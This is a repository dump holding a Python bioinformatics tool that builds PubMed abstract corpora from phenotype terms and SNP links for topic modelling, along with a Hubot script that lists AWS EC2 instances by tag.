words = preprocess(text)
self.assertIsInstance(words, list)
self.assertEqual(words, ['john', 'good', 'friend'])
if __name__ == '__main__':
unittest.main()
<file_sep>from get_abstracts import *
import pandas as pd
import numpy as np
autism = ['Autistic behavior',
'Restrictive behavior',
'Impaired social interactions',
'Poor eye contact',
'Impaired ability to form peer relationships',
'No social interaction',
'Impaired use of nonverbal behaviors',
'Lack of peer relationships',
'Stereotypy']
alzheimers = ['Middle age onset',
'Memory impairment',
'Progressive forgetfulness',
'Transient global amnesia',
'Deficit in phonologic short-term memory',
'Progressive forgetfulness',
'Abnormality of the nervous system',
'Abnormality of metabolism/homeostasis',
'Alzheimer disease',
'Sleep disturbance',
'Sleep-wake cycle disturbance',
'Autosomal dominant inheritance',
'Cerebral amyloid angiopathy',
'Dementia']
diabetes = ['Type I diabetes mellitus',
'Insulin-resistant diabetes mellitus at puberty',
'Neonatal insulin-dependent diabetes mellitus',
'Type I diabetes mellitus',
'Diabetes mellitus',
'Maternal diabetes',
'Maturity-onset diabetes of the young',
'Type II diabetes mellitus',
'Insulin-resistant diabetes mellitus',
'Neonatal insulin-dependent diabetes mellitus',
'Transient neonatal diabetes mellitus',
'Diabetic ketoacidosis']
'''autism_pmids = get_pubmed_ids_from_phenotypes(autism)
autism_rsids = get_rsids_from_phenotypes(autism_pmids)
print(autism_rsids)
autism_enlarged = autism_pmids + get_pmids(autism_rsids)
print(autism_enlarged)
alzheimers_pmids = get_pubmed_ids_from_phenotypes(alzheimers)
alzheimers_rsids = get_rsids_from_phenotypes(alzheimers_pmids)
alzheimers_enlarged = alzheimers_pmids + get_pmids(alzheimers_rsids)'''
header = ['PMID', 'AB']
#Generating the Initial Corpus
diabetes_pmids = get_pubmed_ids_from_phenotypes(diabetes)
diabetes_abstracts = get_abstracts(diabetes_pmids)
initial_df = pd.DataFrame(diabetes_abstracts)
initial_df.to_csv('initial_corpus.csv', index=True, header = header)
#Separate abstract column into separate list
abstracts = [i[1] for i in diabetes_abstracts]
#Enriching the Corpus
diabetes_rsids = get_rsids_crude(abstracts)
rsid_pmids = get_pmids(diabetes_rsids)
rsid_abstracts = get_abstracts(rsid_pmids)
#Combine Corpus and Save as .csv
combined = diabetes_abstracts + rsid_abstracts
diabetes_df = pd.DataFrame(combined)
diabetes_df.to_csv('diabetes_corpus_combined.csv', index = True, header = header)
print(diabetes_rsids)
#diabetes_enlarged = diabetes_pmids + get_pmids(diabetes_rsids)
<file_sep>import re
import six.moves.urllib
from Bio import Entrez, Medline
from nltk.corpus import stopwords
from nltk.tokenize import RegexpTokenizer
from nltk.stem import WordNetLemmatizer
Entrez.email = "<EMAIL>"
def get_pubmed_ids_from_phenotypes(phenotypes, retmax=200):
pubmed_ids = []
for phen in phenotypes:
query = phen
handle = Entrez.esearch(db='pubmed', term=query, rettype='medline', retmode='text', retmax=retmax)
record = Entrez.read(handle)
handle.close()
idList = record['IdList']
pubmed_ids.extend(idList)
return list(set(pubmed_ids))
def get_pubmed_ids_from_rsids(rsids, retmax=200):
pubmed_ids = []
for id in rsids:
query = 'rs' + id + 'AND pubmed_snp_cited[sb]'
handle = Entrez.esearch(db='pubmed', term=query, rettype="medline", retmode="text", retmax=retmax)
record = Entrez.read(handle)
handle.close()
idList = record['IdList']
pubmed_ids.extend(idList)
return list(set(pubmed_ids))
def get_rsids_from_pubmed_id(pubmed_id):
result = Entrez.read(Entrez.elink(dbfrom='pubmed', db='snp', linkname='pubmed_snp_cited', id=pubmed_id))
rsids = []
if len(result[0]['LinkSetDb']) > 0:
for r in result[0]['LinkSetDb'][0]['Link']:
rsids.append(r['Id'])
return list(set(rsids))
def get_abstracts_from_pubmed_ids(pubmed_ids):
abstracts = {}
handle = Entrez.efetch(db="pubmed", id=pubmed_ids, rettype="medline", retmode=type)
records = list(Medline.parse(handle))
handle.close()
return records
def preprocess(abstract):
stop_words = set(stopwords.words('english'))
# Lowercase all words
wnl = WordNetLemmatizer()
abstract = abstract.lower()
# tokenize words, remove punctuation and stopwords, lemmatize
tokenizer = RegexpTokenizer(r'\w[\w-]+')
tokens = tokenizer.tokenize(abstract)
words = [wnl.lemmatize(word) for word in tokens if word not in stop_words]
return words
<file_sep>"""
Converts Abstract text into a list of terms
"""
import pandas as pd
from nltk.corpus import stopwords
from nltk.tokenize import RegexpTokenizer
from nltk.stem import WordNetLemmatizer
class Preprocessor(object):
"""
Use nlp techniques to process abstract text.
The case of the text is lowered and the punctuation is removed
The words are lemmatize
Keywords replaced with *keywords*
"""
def __init__(self):
pass
def load(self):
"""
Read in corpus
"""
abstracts = pd.read_csv(self.corpus, index_col=0)
abstracts['AB'] = abstracts['AB'].str.lower()
abstracts['AB'] = abstracts['AB'].str.replace(self.keywords, '')
return abstracts
def preprocess(self, abstract):
"""
These are the steps for normalizing the abstract text
Convert an abstract to word tokens. This is done by tokenizing the text,
removing english stopwords and punctuation,and finally lemmatizing the words.
Args:
abstract(str): Indivdual abstracts
Return:
words(list): list of normalized words
"""
STOPWORDS = set(stopwords.words('english'))
# Instantiate Lemmanizer
WNL = WordNetLemmatizer()
# tokenize words, remove punctuation
tokenizer = RegexpTokenizer(r'\w[\w-]+')
tokens = tokenizer.tokenize(abstract)
# print(tokens)
# Remove stopwords and lemmatize tokens
# Append HPO term to lists
words = [WNL.lemmatize(word) for word in tokens if word not in STOPWORDS]
words.append('*{}*'.format(self.keywords))
return words
def process(self, keywords, corpus):
"""
Entry point into Class
Generates list of terms in each document
Args:
keywords(str): The keyword term from HPO phenotype
corpus(str): The path to corpus
Returns:
documents(Pandas.Series.Series): Series of words in each document
"""
self.corpus = corpus
self.keywords = keywords
self.abstracts = self.load()
documents = self.abstracts.AB.apply(self.preprocess)
return documents<file_sep># ClusterDuck
Disease clustering from phenotypic literature data through Document Understanding, Comprehension and Knowledge
(doi: )
## What's the problem ?
Typically, SNPs are studied in terms of a "one disease - one SNP" relationship. This results in researchers and clinicians with deep knowledge of a disease but often incomplete knowledge of all potentially relevant SNPs.
## Why should we solve it ?
Knowledge of a larger set of potentially relevant SNPs to a collection of phenotypes would allow finding a novel set of relevant publications.
## What is ClusterDuck ?
ClusterDuck is a tool to automatically identify genetically-relevant publications and returns relevant
## How to use ClusterDuck ?
### Prerequisite
- Python 3
- [EDirect](https://dataguide.nlm.nih.gov/edirect/install.html)
### Installation
- Install python packages required: `pip3 install -r requirements.txt`
- Download the pubmed database and required data from nltk: `python3 setup.py`
### Example
1. Use easy-to-start command line tool `ClusterDuck.py`
``` shell
python3 ClusterDuck.py "Autistic behavior" "Restrictive behavior" "Impaired social interactions" "Poor eye contact" "Impaired ability to form peer relationships" "No social interaction" "Impaired use of nonverbal behaviors" "Lack of peer relationships" "Stereotypy"
```
1. A case study
`python3 generate_csv.py`
1. Train Topic Models
After you have corpora, you can run the following function in `train_lda.py` to obtain topic models:
``` python
lda1, lda2 = train_ldas(corpus1, corpus2, n_topics=N_TOPICS, alpha=ALPHA, eta=ETA)
```
where `N_TOPICS`, `ALPHA` and `ETA` parameterize both topic models.
### Test Suite
`python3 ./dc/test_utils.py`
## ClusterDuck Workflow

### Input
Set of phenotypic terms from HPO ontology.
### Workflow
- A 'phenotypic' corpus of literature is extracted from PubMed using the user-input HPO phenotypic terms.
- All SNPs mentioned in the 'phenotypic clusters are idenfified.
- PubMed is queried using the phenotypically-relevant SNPs to extract a second 'phenotypic + genetic' corpus.
- Topic modeling is run on each corpus separately.
- Topic distributions are compared to discover new genetically-inspired and relevant topics.
### Output
A list of novel genetically-related topics to the initial phenotypic input.
### Planned Features
- Synonyms search from user-input
HPO provides a synonym list for each of their controlled vocabulary terms. This can be incorporated as a preprocessor with the user input to allow
- Make use of hierarchy
HPO is an ontology of terms and user-input terms are likely to have sub- and super-class terms.
- Filtering different types of research articles
Optionally add a [PT] query filter to the PubMed query to limit the [types of publications](https://www.ncbi.nlm.nih.gov/books/NBK3827/table/pubmedhelp.T.publication_types/?report=objectonly) returned.
- Use of EMR-type data to build corpus as oppose to PubMed
An EMR-based corpus is more likely to be associated with diseases (especially to ICD terms) than a PubMed-based corpus.
## People/Team
- <NAME>
- <NAME>
- <NAME>
- [<NAME>](https://github.com/hsiaoyi0504/)
- <NAME>
- <NAME>
- <NAME>
- <NAME>
## Presentations
- [Day 1](https://docs.google.com/presentation/d/1OeYWhXnbjgy0pLFU8URxye0xEFQdAGDFmN038SomnbU/edit?usp=sharing)
- [Day 2](https://docs.google.com/presentation/d/1Dgd9E-IKHj1mSZOfUHR4GfukmkeYuXqyeWCGdBRG6Lg/edit?usp=sharing)
- [Day 3](https://docs.google.com/presentation/d/1SNmItG8LKNOiSrJ1Y0qmh6G3opbJRIK7yz1YaFBS6m4/edit?usp=sharing)
<file_sep>from nltk.corpus import stopwords
from nltk.tokenize import RegexpTokenizer
from nltk.stem import WordNetLemmatizer
STOPWORDS = set(stopwords.words('english'))
# Instantiate Lemmanizer
WNL = WordNetLemmatizer()
def preprocess(abstract, keywords=None):
"""
Convert an abstract to word tokens. This is done by lowering the case
of the text, tokenizing the text, removing english stopwords and
punctuation,and finally lemmatizing the words.
Args:
abstract: (str)
Return:
str
"""
# Lowercase all words
abstract = abstract.lower()
# tokenize words, remove punctuation
tokenizer = RegexpTokenizer(r'\w[\w-]+')
tokens = tokenizer.tokenize(abstract)
# Remove stopwords and lemmatize tokens
words = [WNL.lemmatize(word) for word in tokens if word not in STOPWORDS]
return words
<file_sep>abstract-rendering==0.5.1
alabaster==0.7.6
anaconda-client==1.2.1
argcomplete==1.0.0
astropy==1.0.6
awscli==1.14.24
Babel==2.1.1
beautifulsoup4==4.4.1
bitarray==0.8.1
blaze==0.8.3
blinker==1.4
bokeh==0.10.0
boto==2.38.0
botocore==1.8.28
Bottleneck==1.0.0
cffi==1.11.4
clyent==1.2.0
colorama==0.3.7
conda==4.4.11
conda-build==1.18.2
configobj==5.0.6
cryptography==1.4
cycler==0.10.0
Cython==0.23.4
cytoolz==0.7.4
datashape==0.4.7
decorator==4.0.4
docopt==0.6.2
docutils==0.12
dropbox==6.1
fastcache==1.0.2
feedgenerator==1.9
Flask==0.10.1
ghp-import==0.4.1
greenlet==0.4.9
h5py==2.5.0
idna==2.0
ipykernel==4.1.1
ipython==4.0.1
ipython-genutils==0.1.0
ipywidgets==4.1.0
itsdangerous==0.24
jdcal==1.0
jedi==0.9.0
Jinja2==2.8
jmespath==0.9.3
jsonschema==2.4.0
jupyter==1.0.0
jupyter-client==4.1.1
jupyter-console==4.0.3
jupyter-core==4.0.6
Keras==2.0.8
llvmlite==0.8.0
lxml==3.4.4
Markdown==2.6.6
MarkupSafe==0.23
matplotlib==1.5.1
mistune==0.7.1
multipledispatch==0.4.8
nbconvert==4.0.0
nbformat==4.0.1
networkx==1.10
nltk==3.1
nose==1.3.7
notebook==4.0.6
numba==0.22.1
numexpr==2.4.4
numpy==1.14.1
odo==0.3.4
openpyxl==2.2.6
pandas==0.17.1
path.py==0.0.0
patsy==0.4.0
pbr==1.8.1
pelican==3.6.3
pep8==1.6.2
pexpect==3.3
pickleshare==0.5
Pillow==3.0.0
ply==3.8
psutil==3.3.0
ptyprocess==0.5
py==1.4.30
pyasn1==0.1.9
pycosat==0.6.3
pycparser==2.14
pycrypto==2.6.1
pycurl==7.19.5.1
PyEntrezId==1.5.8.1
pyflakes==1.0.0
Pygments==2.1.3
pyinotify==0.9.6
pyOpenSSL==16.2.0
pyparsing==2.0.3
pytest==2.8.1
python-dateutil==2.4.2
python-termstyle==0.1.10
pytz==2015.7
PyYAML==3.11
pyzmq==14.7.0
qtconsole==4.1.1
rednose==1.1.1
requests==2.12.4
rope-py3k==0.9.4.post1
rsa==3.4.2
s3transfer==0.1.12
scikit-image==0.11.3
scikit-learn==0.19.1
scipy==1.0.0
simplegeneric==0.8.1
six==1.10.0
sniffer==0.3.5
snowballstemmer==1.2.0
sockjs-tornado==1.0.1
spark==0.2.1
Sphinx==1.3.1
sphinx-rtd-theme==0.1.7
spyder==2.3.8
SQLAlchemy==1.0.9
statsmodels==0.6.1
stevedore==1.12.0
sympy==0.7.6.1
tables==3.2.2
terminado==0.5
Theano==0.7.0
toolz==0.7.4
tornado==4.3
traitlets==4.0.0
ujson==1.33
unicodecsv==0.14.1
Unidecode==0.4.21
urllib3==1.15.1
virtualenv==14.0.6
virtualenv-clone==0.2.6
virtualenvwrapper==4.7.1
Werkzeug==0.11.2
xlrd==0.9.4
XlsxWriter==0.7.7
xlwt==1.0.0
xmltodict==0.10.1
# nltk==3.2.5
biopython==1.70
# six==1.11.0
<file_sep>import pandas as pd
from dc.utils import get_pubmed_ids_from_phenotypes, get_abstracts_from_pubmed_ids, get_pubmed_ids_from_rsids, get_rsids_from_pubmed_id
test_queries = [
'Autistic behavior',
'Restrictive behavior',
'Impaired social interactions',
'Poor eye contact',
'Impaired ability to form peer relationships',
'No social interaction',
'Impaired use of nonverbal behaviors',
'Lack of peer relationships',
'Stereotypy'
]
pubmed_ids = get_pubmed_ids_from_phenotypes(test_queries)
rsids = []
for id in pubmed_ids:
rsid = get_rsids_from_pubmed_id(id)
rsids.extend(rsid)
expand_pubmed_ids = get_pubmed_ids_from_rsids(rsids)
abstracts = get_abstracts_from_pubmed_ids(pubmed_ids)
expand_abstracts = get_abstracts_from_pubmed_ids(expand_pubmed_ids)
# remove some pubmed ids without abstract
clean_pubmed_ids = []
clean_abstracts = []
for p, a in zip(pubmed_ids, abstracts):
abstract = a.get('AB')
if abstract is None:
continue
else:
clean_pubmed_ids.append(p)
clean_abstracts.append(abstract)
clean_expand_pubmed_ids = []
clean_expand_abstracts = []
for p, a in zip(expand_pubmed_ids, expand_abstracts):
abstract = a.get('AB')
if abstract is None:
continue
else:
clean_expand_pubmed_ids.append(p)
clean_expand_abstracts.append(abstract)
columns = ['PMID', 'AB']
pd.DataFrame({'PMID': clean_pubmed_ids, 'AB': clean_abstracts}).to_csv('original.csv', index=False, header=True, columns=columns)
pd.DataFrame({'PMID': clean_expand_pubmed_ids, 'AB': clean_expand_abstracts}).to_csv('expand.csv', index=False, header=True, columns=columns)
<file_sep>from six.moves.urllib import request
from os.path import dirname, abspath, exists, join
from os import mkdir
import gzip
import shutil
import nltk
PROJECT_ROOT = dirname(abspath(__file__))
data_path = join(PROJECT_ROOT, 'data')
if not exists(data_path):
mkdir(data_path)
for i in range(1, 928):
num = str(i).zfill(4)
print('Downloading pubmed18n{}.xml.gz ...'.format(num))
request.urlretrieve(
'ftp://ftp.ncbi.nlm.nih.gov/pubmed/baseline/pubmed18n{}.xml.gz'.format(num),
join(data_path, 'pubmed18n{}.xml.gz'.format(num)))
print('Extracting pubmed18n{}.xml.gz ...'.format(num))
with gzip.open(join(data_path, 'pubmed18n{}.xml.gz'.format(num)), 'rb') as f_in:
with open(join(data_path, 'pubmed18n{}.xml'.format(num)), 'wb') as f_out:
shutil.copyfileobj(f_in, f_out)
print('Downloading snp_pubmed_cited.gz ...')
request.urlretrieve(
'ftp://ftp.ncbi.nlm.nih.gov/snp/Entrez/eLinks/snp_pubmed_cited.gz',
join(data_path, 'snp_pubmed_cited.gz'))
print('Extracting snp_pubmed_cited.gz ...')
with gzip.open(join(data_path, 'snp_pubmed_cited.gz'), 'rb') as f_in:
with open(join(data_path, 'snp_pubmed_cited'), 'wb') as f_out:
shutil.copyfileobj(f_in, f_out)
nltk.download('punkt')
nltk.download('stopwords')
nltk.download('wordnet')
|
57d6c3035260685e9222c464bc3d58ae875924ed
|
[
"Markdown",
"Python",
"Text"
] | 12 |
Python
|
NCBI-Hackathons/DiseaseClusters
|
1d5478500dffea973f96affd969783278193aa8a
|
7e3b891f3790b5bcfaed0e35534299b5d039fede
|
refs/heads/master
|
<repo_name>leima965/myawsbot<file_sep>/README.md
# hubot-mybot
A hubot script that does the things
See [`src/mybot.coffee`](src/mybot.coffee) for full documentation.
## Installation
In hubot project repo, run:
`npm install hubot-mybot --save`
Then add **hubot-mybot** to your `external-scripts.json`:
```json
[
"hubot-mybot"
]
```
## Sample Interaction
```
user1>> hubot hello
hubot>> hello!
```
<file_sep>/scripts/aws.js
var finder =
require('../lib/finder')
var Table = require('cli-table')
function sendHelp(msg){
helpString = "*Usage* : `aws find <asg | instance > [tag:<tagName>] [searchPattern]`\n";
helpString += "search ec2 isntances with name that contains 'rundeck' : `aws find instance rundeck`\n";
helpString += "search ec2 isntances with tag Product:rundeck : `aws find instance tag:product rundeck`\n";
msg.send(helpString);
}
function searchInstances(searchString,msg){
param = searchString.split(" ")[0];
if (param.substring(0,4)=='tag:'){
searchBy = param.split(':')[1];
searchKey= searchString.split(" ")[1]
}
else{
searchBy = "Name";
searchKey= searchString;
}
var table = new Table({
head:["","Instance Id","Account Id","Account Profile", "Instance Name", "Private Ipaddress", "Status"]
})
finder.getEc2All(function(err,instances){
if (err){
console.log("unable to get instances details"+err);
}
else {
instances.forEach(function(instance){
instanceName = "--name not set--";
instance.Tags.forEach(function(tag){
if (tag.Key == "Name"){
instanceName = tag.Value;
}
});
instance.Tags.forEach(function(tag){
if(tag.Key == searchBy && tag.Value.match(searchKey) !== null){
table.push ({ "" : [instance.InstanceId,instance.accountId,instance.profile,instanceName,instance.PrivateIpAddress,instance.State.Name]})
}
});
});
}
if (table == null){
msg.send("no match result for tag="+searchBy+"value="+searchKey);
}
else {
msg.send(table.toString());
}
});
}
//console.log(argv.instance)
function inputFilter(msg){
fullString = msg.match[1].trim()
switch(fullString.split(" ")[0]){
case 'find':
switch(fullString.split(" ")[1]){
case 'instance':
msg.send("search for instances now ...")
searchString = fullString.split(" ").slice(2).join(" ")
searchInstances(searchString,msg)
break
default:
sendHelp(msg);
break
}
break;
default:
sendHelp(msg);
break
}
}
module.exports = function(robot){
robot.respond('/aws ?(.+)?/i', function(msg){
if (typeof msg.match[1] !== 'undefined'){
inputFilter(msg)
}
else {
sendHelp(msg);
}
})
}
|
1f0c27cf9d53f79fd42d684771a85b2dab53036e
|
[
"Markdown",
"JavaScript"
] | 2 |
Markdown
|
leima965/myawsbot
|
48e6745a3bcd7c153805b1cfd5e30b33695b7094
|
49624027da3ff73a9edd0bee32dbff45ebb1f543
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.